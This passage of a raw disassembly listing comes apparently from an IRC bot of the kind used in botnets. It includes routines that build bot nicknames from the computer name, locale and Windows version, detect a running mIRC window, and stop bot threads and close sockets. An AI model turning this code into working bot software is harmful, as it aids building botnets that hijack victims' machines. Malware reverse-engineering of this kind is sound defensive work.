		pop	ecx
		lea	eax, [ebp-4]
		mov	esi, offset aPc_0 ; "PC"
		push	eax
		push	esi
		call	dword_4240C0	; GetComputerNameA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_4186E0
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42609C, esi
		jle	short loc_409EA4


loc_409E7E:				; CODE XREF: .nsp0:00409EA2j
		call	sub_418642
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42ECF4
		push	1Ch
		push	edi
		call	sub_4186E0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42609C
		jl	short loc_409E7E


loc_409EA4:				; CODE XREF: .nsp0:00409E7Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4240C4	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_2	; "%s|"
		push	1Ch
		push	edi
		call	sub_4186E0
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42609C, esi
		jle	short loc_409F19


loc_409EF3:				; CODE XREF: .nsp0:00409F17j
		call	sub_418642
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42ECF4
		push	1Ch
		push	edi
		call	sub_4186E0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42609C
		jl	short loc_409EF3


loc_409F19:				; CODE XREF: .nsp0:00409EF1j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_4400B4
		mov	dword ptr [ebp-94h], 94h
		call	dword_4240C8	; GetVersionExA
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_409FA3
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_409F83
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_409F73
		mov	esi, offset a95	; "95"


loc_409F73:				; CODE XREF: .nsp0:00409F6Cj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_409FDF
		mov	esi, offset aNt_0 ; "NT"
		jmp	short loc_409FDF
; ---------------------------------------------------------------------------


loc_409F83:				; CODE XREF: .nsp0:00409F63j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_409F93
		mov	esi, offset a98	; "98"
		jmp	short loc_409FDF
; ---------------------------------------------------------------------------


loc_409F93:				; CODE XREF: .nsp0:00409F8Aj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_409FDA
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_409FDF
; ---------------------------------------------------------------------------


loc_409FA3:				; CODE XREF: .nsp0:00409F5Aj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_409FDA
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_409FBC
		mov	esi, offset a2k	; "2K"
		jmp	short loc_409FDF
; ---------------------------------------------------------------------------


loc_409FBC:				; CODE XREF: .nsp0:00409FB3j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_409FCC
		mov	esi, offset aXp	; "XP"
		jmp	short loc_409FDF
; ---------------------------------------------------------------------------


loc_409FCC:				; CODE XREF: .nsp0:00409FC3j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_409FDF


loc_409FDA:				; CODE XREF: .nsp0:00409F9Aj
					; .nsp0:00409FAAj
		mov	esi, offset a??? ; "???"


loc_409FDF:				; CODE XREF: .nsp0:00409F7Aj
					; .nsp0:00409F81j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_3	; "[%s]|"
		push	1Ch
		push	edi
		call	sub_4186E0
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42609C, esi
		jle	short loc_40A023


loc_409FFD:				; CODE XREF: .nsp0:0040A021j
		call	sub_418642
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42ECF4
		push	1Ch
		push	edi
		call	sub_4186E0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42609C
		jl	short loc_409FFD


loc_40A023:				; CODE XREF: .nsp0:00409FFBj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A029	proc near		; CODE XREF: sub_40A0C6+5Dp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_4240A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		call	dword_4CDEF0	; FindWindowA
		cmp	esi, 64h
		jbe	short loc_40A078
		test	eax, eax
		mov	eax, offset aM_1 ; "[M]"
		jnz	short loc_40A061
		mov	eax, offset byte_4400B4


loc_40A061:				; CODE XREF: sub_40A029+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_4186E0
		add	esp, 14h
		jmp	short loc_40A092
; ---------------------------------------------------------------------------


loc_40A078:				; CODE XREF: sub_40A029+28j
		test	eax, eax
		mov	eax, offset aM_1 ; "[M]"
		jnz	short loc_40A086
		mov	eax, offset byte_4400B4


loc_40A086:				; CODE XREF: sub_40A029+56j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4185E6
		pop	ecx
		pop	ecx


loc_40A092:				; CODE XREF: sub_40A029+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417D40
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40A0C1
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418F40
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_418350
		add	esp, 18h


loc_40A0C1:				; CODE XREF: sub_40A029+77j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40A029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A0C6	proc near		; CODE XREF: sub_4017BF+7Fp
					; sub_401925+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_40A0CF:				; CODE XREF: sub_40A0C6+40j
		cmp	[ebp+arg_C], 0
		jz	short loc_40A0ED
		lea	eax, aReal[esi]	; "real"
		push	eax
		push	[ebp+arg_C]
		call	sub_418DD0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40A0FB
; ---------------------------------------------------------------------------


loc_40A0ED:				; CODE XREF: sub_40A0C6+Dj
		mov	ecx, dword_430A24[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40A0FB:				; CODE XREF: sub_40A0C6+25j
		test	eax, eax
		jnz	short loc_40A10A
		add	esi, 14h
		inc	edi
		cmp	esi, 78h
		jb	short loc_40A0CF
		jmp	short loc_40A118
; ---------------------------------------------------------------------------


loc_40A10A:				; CODE XREF: sub_40A0C6+37j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_430A28[eax*4]
		pop	ecx


loc_40A118:				; CODE XREF: sub_40A0C6+42j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40A12B
		push	[ebp+arg_0]
		call	sub_40A029
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40A12B:				; CODE XREF: sub_40A0C6+58j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40A0C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A130	proc near		; CODE XREF: sub_40121E+366p
					; sub_40121E+3A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_440C38


loc_40A138:				; CODE XREF: sub_40A130+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40A14C
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CDC38
		jl	short loc_40A138
		jmp	short loc_40A197
; ---------------------------------------------------------------------------


loc_40A14C:				; CODE XREF: sub_40A130+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_440C38[esi]
		push	eax
		call	sub_418350
		mov	eax, [esp+14h+arg_4]
		and	dword_440E3C[esi], 0
		and	dword_440E40[esi], 0
		mov	dword_440E38[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_440E50[esi], 0
		mov	dword_440E44[esi], eax
		pop	esi


loc_40A197:				; CODE XREF: sub_40A130+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40A130	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A19B	proc near		; DATA XREF: sub_401AA1+24BDo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40A1ED
		push	[ebp+var_14]
		call	sub_40A446
		add	esp, 14h
		push	0
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
sub_40A19B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1ED	proc near		; CODE XREF: sub_40A19B+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_43481C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_440C38


loc_40A217:				; CODE XREF: sub_40A1ED+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40A258
		cmp	[ebp+arg_C], 0
		jnz	short loc_40A22B
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40A258


loc_40A22B:				; CODE XREF: sub_40A1ED+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 24h


loc_40A258:				; CODE XREF: sub_40A1ED+2Dj
					; sub_40A1ED+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CDC38
		jl	short loc_40A217
		pop	edi
		pop	esi
		leave
		retn
sub_40A1ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A26B	proc near		; CODE XREF: sub_401AA1+6D43p
					; sub_40A2F3+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40A2ED
		cmp	esi, 400h
		jge	short loc_40A2ED
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_440E4C[esi]
		push	dword ptr [edi]
		call	dword_4240AC	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40A29D
		inc	ebp


loc_40A29D:				; CODE XREF: sub_40A26B+2Fj
		mov	[edi], ebx
		lea	edi, dword_440E40[esi]
		mov	dword_440E38[esi], ebx
		mov	dword_440E3C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40A2BE
		push	eax
		call	sub_417092
		pop	ecx


loc_40A2BE:				; CODE XREF: sub_40A26B+4Aj
		mov	[edi], ebx
		lea	edi, dword_440E44[esi]
		mov	byte ptr dword_440C38[esi], bl
		mov	byte_440E50[esi], bl
		push	dword ptr [edi]
		call	dword_4CDF78	; closesocket
		lea	esi, dword_440E48[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CDF78	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40A2ED:				; CODE XREF: sub_40A26B+Dj
					; sub_40A26B+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40A26B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A2F3	proc near		; CODE XREF: sub_40111A+18p
					; sub_40121E:loc_4017ABp ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_440C38


loc_40A2FF:				; CODE XREF: sub_40A2F3+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40A310
		push	edi
		call	sub_40A26B
		test	eax, eax
		pop	ecx
		jz	short loc_40A310
		inc	ebx


loc_40A310:				; CODE XREF: sub_40A2F3+Fj
					; sub_40A2F3+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CDC38
		jl	short loc_40A2FF
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40A2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A325	proc near		; CODE XREF: sub_401AA1+3BA3p
					; sub_401AA1+3C78p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_440E3C


loc_40A339:				; CODE XREF: sub_40A325+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40A35B
		test	edi, edi
		jle	short loc_40A34D
		cmp	[esi], edi
		jz	short loc_40A34D
		cmp	ebx, edi
		jnz	short loc_40A35B


loc_40A34D:				; CODE XREF: sub_40A325+1Ej
					; sub_40A325+22j
		push	ebx
		call	sub_40A26B
		test	eax, eax
		pop	ecx
		jz	short loc_40A35B
		inc	[ebp+var_4]


loc_40A35B:				; CODE XREF: sub_40A325+1Aj
					; sub_40A325+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CDE3C
		jl	short loc_40A339
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A325	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A372	proc near		; CODE XREF: sub_40121E+3FAp
					; sub_401AA1+1849p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_440E38


loc_40A379:				; CODE XREF: sub_40A372+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40A382
		inc	eax


loc_40A382:				; CODE XREF: sub_40A372+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CDE38
		jl	short loc_40A379
		retn
sub_40A372	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A391	proc near		; CODE XREF: sub_401AA1+1F23p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_440E38
		push	esi


loc_40A39B:				; CODE XREF: sub_40A391+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40A3B4
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CDE38
		jl	short loc_40A39B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A3B4:				; CODE XREF: sub_40A391+10j
		mov	eax, edx
		pop	esi
		retn
sub_40A391	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3B8	proc near		; CODE XREF: sub_401AA1+EF4p
					; sub_401AA1+F0Fp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40A3D1
		push	[ebp+arg_1C]
		call	sub_4184D9
		pop	ecx


loc_40A3D1:				; CODE XREF: sub_40A3B8+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40A325
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40A3FD
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_4185E6
		add	esp, 14h
		jmp	short loc_40A417
; ---------------------------------------------------------------------------


loc_40A3FD:				; CODE XREF: sub_40A3B8+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_4185E6
		add	esp, 10h


loc_40A417:				; CODE XREF: sub_40A3B8+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40A437
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 14h


loc_40A437:				; CODE XREF: sub_40A3B8+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413F3A
		pop	ecx
		leave
		retn
sub_40A3B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A446	proc near		; CODE XREF: sub_4017BF+154p
					; sub_40A19B+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_440E4C[eax], ecx
		mov	dword_440E38[eax], ecx
		mov	dword_440E3C[eax], ecx
		mov	dword_440E40[eax], ecx
		mov	dword_440E44[eax], ecx
		mov	dword_440E48[eax], ecx
		mov	byte ptr dword_440C38[eax], cl
		mov	byte_440E50[eax], cl
		retn
sub_40A446	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A483	proc near		; CODE XREF: sub_401AA1+6FCAp
					; sub_40A5AB+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_40A4E5
; ---------------------------------------------------------------------------


loc_40A48F:				; CODE XREF: sub_40A483+66j
		cmp	eax, 1
		jnz	short loc_40A4F6
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40A4F6
		cmp	cl, 2Ah
		jz	short loc_40A4CE
		cmp	cl, 3Fh
		jz	short loc_40A4B3
		cmp	cl, 5Bh
		jz	short loc_40A4B8
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40A4B3:				; CODE XREF: sub_40A483+22j
		inc	[ebp+arg_4]
		jmp	short loc_40A4E1
; ---------------------------------------------------------------------------


loc_40A4B8:				; CODE XREF: sub_40A483+27j
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40A517
		mov	esi, [ebp+arg_0]
		jmp	short loc_40A4DF
; ---------------------------------------------------------------------------


loc_40A4CE:				; CODE XREF: sub_40A483+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40A5AB
		mov	esi, [ebp+arg_0]
		dec	esi


loc_40A4DF:				; CODE XREF: sub_40A483+49j
		pop	ecx
		pop	ecx


loc_40A4E1:				; CODE XREF: sub_40A483+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_40A4E5:				; CODE XREF: sub_40A483+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_40A48F
		jmp	short loc_40A4F6
; ---------------------------------------------------------------------------


loc_40A4ED:				; CODE XREF: sub_40A483+76j
		cmp	eax, 1
		jnz	short loc_40A512
		inc	esi
		mov	[ebp+arg_0], esi


loc_40A4F6:				; CODE XREF: sub_40A483+Fj
					; sub_40A483+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_40A4ED
		cmp	eax, 1
		jnz	short loc_40A512
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40A512
		cmp	byte ptr [esi],	0
		jnz	short loc_40A512
		xor	eax, eax
		inc	eax
		jmp	short loc_40A514
; ---------------------------------------------------------------------------


loc_40A512:				; CODE XREF: sub_40A483+6Dj
					; sub_40A483+7Bj ...
		xor	eax, eax


loc_40A514:				; CODE XREF: sub_40A483+8Dj
		pop	esi
		pop	ebp
		retn
sub_40A483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A517	proc near		; CODE XREF: sub_40A483+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		xor	eax, eax
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40A538
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40A538:				; CODE XREF: sub_40A517+19j
		push	ebx
		push	esi


loc_40A53A:				; CODE XREF: sub_40A517+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40A548
		cmp	[ebp+var_4], eax
		jnz	short loc_40A590


loc_40A548:				; CODE XREF: sub_40A517+2Aj
		test	edi, edi
		jnz	short loc_40A585
		cmp	bl, 2Dh
		jnz	short loc_40A579
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_40A579
		cmp	al, 5Dh
		jz	short loc_40A579
		cmp	[ebp+var_4], edi
		jnz	short loc_40A579
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40A585
		cmp	bl, al
		jg	short loc_40A585
		mov	[edx], esi
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A579:				; CODE XREF: sub_40A517+38j
					; sub_40A517+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40A585


loc_40A582:				; CODE XREF: sub_40A517+60j
		xor	edi, edi
		inc	edi


loc_40A585:				; CODE XREF: sub_40A517+33j
					; sub_40A517+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_40A53A
; ---------------------------------------------------------------------------


loc_40A590:				; CODE XREF: sub_40A517+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40A59D
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40A59D:				; CODE XREF: sub_40A517+7Ej
		cmp	edi, eax
		jnz	short loc_40A5A6
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40A5A6:				; CODE XREF: sub_40A517+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40A517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5AB	proc near		; CODE XREF: sub_40A483+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_40A5DB
; ---------------------------------------------------------------------------


loc_40A5C5:				; CODE XREF: sub_40A5AB+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_40A5D6
		cmp	dl, 2Ah
		jnz	short loc_40A5E8
		cmp	dl, 3Fh
		jnz	short loc_40A5D9


loc_40A5D6:				; CODE XREF: sub_40A5AB+1Fj
		inc	ecx
		mov	[edi], ecx


loc_40A5D9:				; CODE XREF: sub_40A5AB+29j
		inc	dword ptr [esi]


loc_40A5DB:				; CODE XREF: sub_40A5AB+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_40A5C5
		jmp	short loc_40A5E8
; ---------------------------------------------------------------------------


loc_40A5E5:				; CODE XREF: sub_40A5AB+40j
		inc	eax
		mov	[esi], eax


loc_40A5E8:				; CODE XREF: sub_40A5AB+24j
					; sub_40A5AB+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_40A5E5
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_40A60A
		cmp	[eax], bl
		jz	short loc_40A5FD
		xor	eax, eax
		jmp	short loc_40A667
; ---------------------------------------------------------------------------


loc_40A5FD:				; CODE XREF: sub_40A5AB+4Cj
		cmp	dl, bl
		jnz	short loc_40A60A
		cmp	[eax], bl
		jnz	short loc_40A60A
		xor	eax, eax
		inc	eax
		jmp	short loc_40A667
; ---------------------------------------------------------------------------


loc_40A60A:				; CODE XREF: sub_40A5AB+48j
					; sub_40A5AB+54j ...
		push	ecx
		push	eax
		call	sub_40A483
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A651


loc_40A617:				; CODE XREF: sub_40A5AB+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_40A629
; ---------------------------------------------------------------------------


loc_40A61D:				; CODE XREF: sub_40A5AB+86j
		cmp	cl, 5Bh
		jz	short loc_40A633
		cmp	dl, bl
		jz	short loc_40A633
		inc	eax
		mov	[edi], eax


loc_40A629:				; CODE XREF: sub_40A5AB+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_40A61D


loc_40A633:				; CODE XREF: sub_40A5AB+75j
					; sub_40A5AB+79j
		cmp	[eax], bl
		jz	short loc_40A648
		push	eax
		push	dword ptr [esi]
		call	sub_40A483
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40A64D
; ---------------------------------------------------------------------------


loc_40A648:				; CODE XREF: sub_40A5AB+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40A64D:				; CODE XREF: sub_40A5AB+9Bj
		cmp	eax, ebx
		jnz	short loc_40A617


loc_40A651:				; CODE XREF: sub_40A5AB+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40A664
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40A664
		mov	[ebp+var_4], 1


loc_40A664:				; CODE XREF: sub_40A5AB+AAj
					; sub_40A5AB+B0j
		mov	eax, [ebp+var_4]


loc_40A667:				; CODE XREF: sub_40A5AB+50j
					; sub_40A5AB+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A66C	proc near		; CODE XREF: sub_401AA1+2662p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_434D40
		push	eax
		xor	ebx, ebx
		call	sub_4185E6
		cmp	dword_434898, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40A6DE
		push	esi
		mov	esi, offset dword_4348A0


loc_40A69F:				; CODE XREF: sub_40A66C+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40A6D4
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_434D34
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418F40
		add	esp, 1Ch


loc_40A6D4:				; CODE XREF: sub_40A66C+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40A69F
		pop	esi


loc_40A6DE:				; CODE XREF: sub_40A66C+2Bj
		push	dword_4CDC3C
		call	sub_4178B6
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418F40
		push	0
